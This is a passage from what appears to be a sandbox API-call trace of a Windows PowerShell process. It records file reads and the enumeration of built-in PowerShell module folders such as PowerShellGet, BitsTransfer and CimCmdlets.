nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.218] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x8a000 [0178.218] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.219] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x8b000 [0178.219] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.219] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x8c000 [0178.219] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0xaa9, lpOverlapped=0x0) returned 1 [0178.220] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x8caa9 [0178.220] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444879, nNumberOfBytesToRead=0x157, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444879*, lpNumberOfBytesRead=0x5a2d644*=0x0, lpOverlapped=0x0) returned 1 [0178.220] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x8caa9 [0178.220] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x0, lpOverlapped=0x0) returned 1 [0178.240] CloseHandle (hObject=0x3dc) returned 1 [0181.898] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0181.898] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0181.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d39c) returned 1 [0181.898] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), fInfoLevelId=0x0, lpFileInformation=0x24aece4 | out: lpFileInformation=0x24aece4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499c9860, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8caa9)) returned 1 [0181.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d398) returned 1 [0182.038] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0182.038] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0182.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e194) returned 1 [0182.039] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x24d321c | out: lpFileInformation=0x24d321c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0182.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e190) returned 1 [0182.275] EtwEventActivityIdControl () returned 0x0 [0182.280] SetEvent (hEvent=0x410) returned 1 [0182.281] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5a2e974*=0x410, lpdwindex=0x5a2e798 | out: lpdwindex=0x5a2e798) returned 0x0 [0182.284] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0182.284] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0182.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e854) returned 1 [0182.284] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x24d622c | out: lpFileInformation=0x24d622c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0182.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e850) returned 1 [0182.285] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0182.285] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0182.285] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0182.285] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0182.286] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0182.286] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0182.296] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0182.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb64) returned 1 [0182.297] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0182.297] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0182.298] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x401af0 [0182.298] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.299] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0182.299] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0182.299] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0182.299] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0182.299] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0182.299] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0182.299] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0182.299] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0182.299] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0182.300] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0182.300] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0182.300] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0182.300] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0182.300] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0182.300] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0182.300] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0182.300] FindClose (in: hFindFile=0x401af0 | out: hFindFile=0x401af0) returned 1 [0182.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8d4) returned 1 [0182.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb34) returned 1 [0182.301] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0182.301] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0182.301] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0182.301] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0182.376] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0182.376] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0182.376] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0182.376] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0182.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b4) returned 1 [0182.376] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb78 | out: lpFileInformation=0x5a2eb78*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0182.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b0) returned 1 [0182.377] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0182.377] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0182.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b4) returned 1 [0182.377] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb78 | out: lpFileInformation=0x5a2eb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b0) returned 1 [0182.378] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0182.378] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0182.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b4) returned 1 [0182.378] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb78 | out: lpFileInformation=0x5a2eb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b0) returned 1 [0182.379] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0182.379] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0182.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b4) returned 1 [0182.385] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb78 | out: lpFileInformation=0x5a2eb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, 